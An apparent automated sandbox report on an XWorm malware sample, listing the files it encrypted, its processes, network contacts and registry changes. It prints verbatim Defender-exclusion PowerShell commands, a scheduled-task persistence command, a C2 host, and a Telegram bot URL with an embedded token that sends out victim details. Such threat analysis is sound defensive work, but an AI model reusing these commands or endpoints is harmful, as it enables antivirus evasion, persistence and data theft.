C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.LOG2.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\Symbols\pingme.txt.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03pkfv4q.53t.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2eo4ukre.fbv.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dslxdlh.53o.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5pepn2ii.eai.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bkfztvuj.xst.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dhiq0lod.4ud.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f0uje4jr.0eb.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jr31b4wh.hwi.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nljo5hdr.1er.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q31fncj3.1pd.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_utp0vdmj.puy.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqjlnt4k.gzw.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w42sowqf.ffo.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w4wjhbjh.524.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wm2bnijn.dpn.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbmlstqf.woz.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\chrome_installer.log.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_1042373222\376d5b20-4ccf-4ab3-92ec-d2fa66fb039b.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_1077422325\4643befd-79b8-4e0c-a2fb-c0e3ee78dcd5.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_1164849323\ef5f792e-9df7-4748-accf-02ec33a4a2c4.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_233639511\b22f5f18-f7ea-4290-929d-b13c03908334.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_435825870\5686322a-ffa9-43cd-98c7-9900dceae2d0.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_600014076\2e8a592b-0ad4-414c-b996-21bd8749e2fd.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_719535175\7f41fcdb-a3ef-47d4-86cb-0f3555d3db82.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_867342333\e9f8c500-8e5e-4ddd-9bef-4e0b522248e9.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\msedge_installer.log.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir10952_1826612563\CRX_INSTALL\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\constant.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\indexDB.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\local-storage.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\locale.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\loggingApi.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\service-worker.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\signInAdobeYolo.html.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\signInHandler.html.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\acro-actions.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\acro-gstate.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\acro-web2pdf.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\common.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\communicate.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\constant.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\feat.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\floodgate.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\hydrate.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\polyfills.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\private-api.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\proxy.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\session.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\settings.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\util.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\viewer-module.js.ENC
data
dropped
C:\Users\user\AppData\Local\Temp\wmsetup.log.ENC
data
dropped
There are 1035 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Users\user\Desktop\spoolsv.exe
"C:\Users\user\Desktop\spoolsv.exe"
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\spoolsv.exe'
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'spoolsv.exe'
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\spoolsv.exe'
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'spoolsv.exe'
 malicious
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "spoolsv" /tr "C:\Users\user~1\AppData\Local\Temp\spoolsv.exe"
 malicious
C:\Users\user\AppData\Local\Temp\spoolsv.exe
C:\Users\user~1\AppData\Local\Temp\spoolsv.exe
 malicious
C:\Users\user\AppData\Local\Temp\spoolsv.exe
"C:\Users\user~1\AppData\Local\Temp\spoolsv.exe"
malicious
C:\Users\user\AppData\Local\Temp\spoolsv.exe
"C:\Users\user~1\AppData\Local\Temp\spoolsv.exe"
malicious
C:\Users\user\AppData\Local\Temp\spoolsv.exe
C:\Users\user~1\AppData\Local\Temp\spoolsv.exe
 malicious
C:\Users\user\AppData\Local\Temp\attzwu.exe
"C:\Users\user\AppData\Local\Temp\attzwu.exe"
malicious
C:\Users\user\AppData\Local\Temp\spoolsv.exe
C:\Users\user~1\AppData\Local\Temp\spoolsv.exe
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\wbem\WmiPrvSE.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
There are 8 hidden processes, click here to show them.

URLs

Name
IP
Malicious
78.70.235.238:1912
malicious
78.70.235.238
malicious
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/sct
unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
unknown
https://api.telegram.org/bot
unknown
http://tempuri.org/Entity/Id23ResponseD
unknown
http://crl.microsoft
unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
unknown
http://tempuri.org/Entity/Id12Response
unknown
http://www.microsoft.co
unknown
https://api.retailmenot.com/security/public/out/3RWA3MREY5DRNIWOCMG7AH4FOY?marketingcampaign=3RWA3MR
unknown
http://tempuri.org/
unknown
http://tempuri.org/Entity/Id2Response
unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
unknown
http://tempuri.org/Entity/Id21Response
unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
unknown
http://tempuri.org/Entity/Id9
unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
unknown
http://tempuri.org/Entity/Id8
unknown
http://tempuri.org/Entity/Id5
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
unknown
http://tempuri.org/Entity/Id4
unknown
http://tempuri.org/Entity/Id7
unknown
http://tempuri.org/Entity/Id6
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
unknown
http://tempuri.org/Entity/Id19Response
unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
unknown
https://github.com/LimerBoy/StormKitty
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
unknown
https://nuget.org/nuget.exe
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat
unknown
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
unknown
http://tempuri.org/Entity/Id15Response
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
unknown
http://tempuri.org/Entity/Id6Response
unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
unknown
https://api.ip.sb/ip
unknown
http://pesterbdd.com/images/Pester.png
unknown
http://schemas.xmlsoap.org/soap/encoding/
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
http://schemas.xmlsoap.org/ws/2004/04/sc
unknown
http://tempuri.org/Entity/Id1ResponseD
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
unknown
http://tempuri.org/Entity/Id9Response
unknown
http://crl.mic
unknown
https://contoso.com/Icon
unknown
http://tempuri.org/Entity/Id20
unknown
http://tempuri.org/Entity/Id21
unknown
http://tempuri.org/Entity/Id22
unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
unknown
http://tempuri.org/Entity/Id23
unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
unknown
http://tempuri.org/Entity/Id24
unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
unknown
https://slickdeals.net/?cno=6959959&sdtrk=bing
unknown
http://tempuri.org/Entity/Id24Response
unknown
http://tempuri.org/Entity/Id1Response
unknown
https://github.com/Pester/Pester
unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing
unknown
http://schemas.xmlsoap.org/wsdl/
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
unknown
http://schemas.xmlsoap.org/ws/2004/04/trust
unknown
http://tempuri.org/Entity/Id10
unknown
http://tempuri.org/Entity/Id11
unknown
http://tempuri.org/Entity/Id12
unknown
http://tempuri.org/Entity/Id16Response
unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
unknown
http://tempuri.org/Entity/Id13
unknown
http://tempuri.org/Entity/Id14
unknown
http://tempuri.org/Entity/Id15
unknown
http://tempuri.org/Entity/Id16
unknown
https://www.savings.com/m/p/32073281/12104416/c?afsrc=1&up=2022-10-24-16-43&auto_show_edge_shopping_
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
unknown
http://tempuri.org/Entity/Id17
unknown
http://tempuri.org/Entity/Id18
unknown
http://tempuri.org/Entity/Id5Response
unknown
http://tempuri.org/Entity/Id19
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
unknown
http://tempuri.org/Entity/Id10Response
unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
unknown
http://tempuri.org/Entity/Id8Response
unknown
https://api.retailmenot.com/security/public/out/5V4O3ZVBGJBZLEJTSCCWGL5B4Y?marketingcampaign=5V4O3ZV
unknown
https://api.telegram.org/bot7742194912:AAGSH51C4BpkbbvEQlO-cv-lDoJZMVxqyN4/sendMessage?chat_id=5456205643&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A1BE7C2BE68B9D4CE53EB%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20VPWLLKOO%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20HawkEye%20V1.0
149.154.167.220
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
unknown
There are 90 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
f8terat.ddns.net
78.70.235.238
 malicious
ip-api.com
208.95.112.1
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com
217.20.58.100
api.telegram.org
149.154.167.220

IPs

IP
Domain
Country
Malicious
78.70.235.238
f8terat.ddns.net
Sweden
malicious
208.95.112.1
ip-api.com
United States
149.154.167.220
api.telegram.org
United Kingdom

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
spoolsv
 malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spoolsv_RASMANCS
FileDirectory
HKEY_CURRENT_USER\SOFTWARE\1BE7C2BE68B9D4CE53EB
14C2BBCCDABB8408395D636B44B99DE4B16DB2E6BF35181CB71E7BE516D83AD9
HKEY_CURRENT_USER\SOFTWARE\1BE7C2BE68B9D4CE53EB
5C34AEE5196E0F8615B8D1D9017DD710EA28D2B7AC99295D46046D12EEA58D78
HKEY_CURRENT_USER\SOFTWARE\1BE7C2BE68B9D4CE53EB
66DBE3B90371FE58CAA957E83C1C1F0ACCE941A36CF140A0F07E64403DD13303
HKEY_CURRENT_USER\SOFTWARE\1BE7C2BE68B9D4CE53EB
B6D8BCCDF123CEAC6B9642AD3500D4E0B3D30B9C9DD2D29499D38C02BD8F9982
HKEY_CURRENT_USER\SOFTWARE\1BE7C2BE68B9D4CE53EB
018E06F57725563E4525700EDFFAFB1B062BF5D4B0E9FEE498507F0F8200FCDF
HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0000
Owner
HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0000
SessionHash
HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0000
Sequence
HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0000
RegFiles0000
HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0000
RegFilesHash
There are 15 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
BC2000
unkown
page readonly
 malicious
2F24000
trusted library allocation
page read and write
 malicious
331A000
trusted library allocation
page read and write
 malicious
5400000
trusted library allocation
page read and write
 malicious
E22000
unkown
page readonly
 malicious
2EC1000
trusted library allocation
page read and write
 malicious
3281000
trusted library allocation
page read and write
 malicious
292F09BD000
heap
page read and write
12FF8000
trusted library allocation
page read and write
185C000
stack
page read and write
27A01E22000
trusted library allocation
page read and write
7FFAAC641000
trusted library allocation
page read and write
2AE8894E000
trusted library allocation
page read and write
146A000
trusted library allocation
page execute and read and write
8021000
heap
page read and write
5700000
trusted library allocation
page read and write
7FFAAC793000
trusted library allocation
page read and write
7FFB08170000
unkown
page read and write
12C5000
heap
page read and write
42DA000
trusted library allocation
page read and write
9E0000
unkown
page readonly
2FFC000
trusted library allocation
page read and write
4549000
trusted library allocation
page read and write
6650000
trusted library allocation
page execute and read and write
7FFAAC51C000
trusted library allocation
page execute and read and write
27A102F0000
trusted library allocation
page read and write
7FFAAC620000
trusted library allocation
page execute and read and write
7C60000
trusted library allocation
page read and write
7FFAAC7B0000
trusted library allocation
page read and write
128D000
heap
page read and write
DBB000
heap
page read and write
EE9000
heap
page read and write
27A70869000
heap
page read and write
389B000
trusted library allocation
page read and write
4556000
trusted library allocation
page read and write
292F01B3000
heap
page read and write
292F0A8C000
heap
page read and write
7FFAAC494000
trusted library allocation
page read and write
3146000
trusted library allocation
page read and write
36C7000
trusted library allocation
page read and write
23718450000
heap
page read and write
2AE88447000
trusted library allocation
page read and write
5D1A000
trusted library allocation
page read and write
121E000
stack
page read and write
237324F0000
heap
page execute and read and write
292811D5000
trusted library allocation
page read and write
129F000
stack
page read and write
7FFAAC700000
trusted library allocation
page read and write
346D000
trusted library allocation
page read and write
7FFAAC4DC000
trusted library allocation
page execute and read and write
2AE88EE1000
trusted library allocation
page read and write
456E000
trusted library allocation
page read and write
27A10257000
trusted library allocation
page read and write
A7F2439000
stack
page read and write
7FFAAC5F0000
trusted library allocation
page read and write
7FFAAC7D0000
trusted library allocation
page read and write
BC0000
heap
page read and write
37E8000
trusted library allocation
page read and write
37F2000
trusted library allocation
page read and write
6380000
trusted library allocation
page read and write
2AE9F4C9000
heap
page read and write
5C25000
trusted library allocation
page read and write
EBDCDB8000
stack
page read and write
7FFAAC47D000
trusted library allocation
page execute and read and write
45E0000
trusted library allocation
page read and write
13A0000
heap
page read and write
2B7F000
stack
page read and write
65D2000
heap
page read and write
2D4F000
stack
page read and write
A7F21FD000
stack
page read and write
7FFAAC8A0000
trusted library allocation
page read and write
292F0960000
heap
page read and write
2371B396000
trusted library allocation
page read and write
2928111F000
trusted library allocation
page read and write
2AE9F520000
heap
page read and write
1BB10000
heap
page read and write
63F0000
trusted library allocation
page read and write
37C2000
trusted library allocation
page read and write
2DA1000
trusted library allocation
page read and write
1AEC2000
trusted library allocation
page read and write
EBDDC0C000
stack
page read and write
27A707D2000
heap
page read and write
237327D2000
heap
page read and write
D30000
trusted library allocation
page read and write
3679000
trusted library allocation
page read and write
23732B50000
heap
page read and write
7FFAAC550000
trusted library allocation
page execute and read and write
700C000
stack
page read and write
7FFAAC8ED000
trusted library allocation
page read and write
7FFAAC520000
trusted library allocation
page read and write
292F0A7D000
heap
page read and write
D97558E000
stack
page read and write
27A00DB5000
trusted library allocation
page read and write
292F00D0000
trusted library allocation
page read and write
7FFAAC516000
trusted library allocation
page read and write
9AD7D7E000
stack
page read and write
2AE8821B000
trusted library allocation
page read and write
4551000
trusted library allocation
page read and write
9AD8078000
stack
page read and write
7FFAAC540000
trusted library allocation
page execute and read and write
7FFAAC674000
trusted library allocation
page read and write
2AE9F600000
heap
page read and write
14EF000
stack
page read and write
3882000
trusted library allocation
page read and write
4587000
trusted library allocation
page read and write
7FFAAC650000
trusted library allocation
page execute and read and write
65AF000
heap
page read and write
7CA5000
trusted library allocation
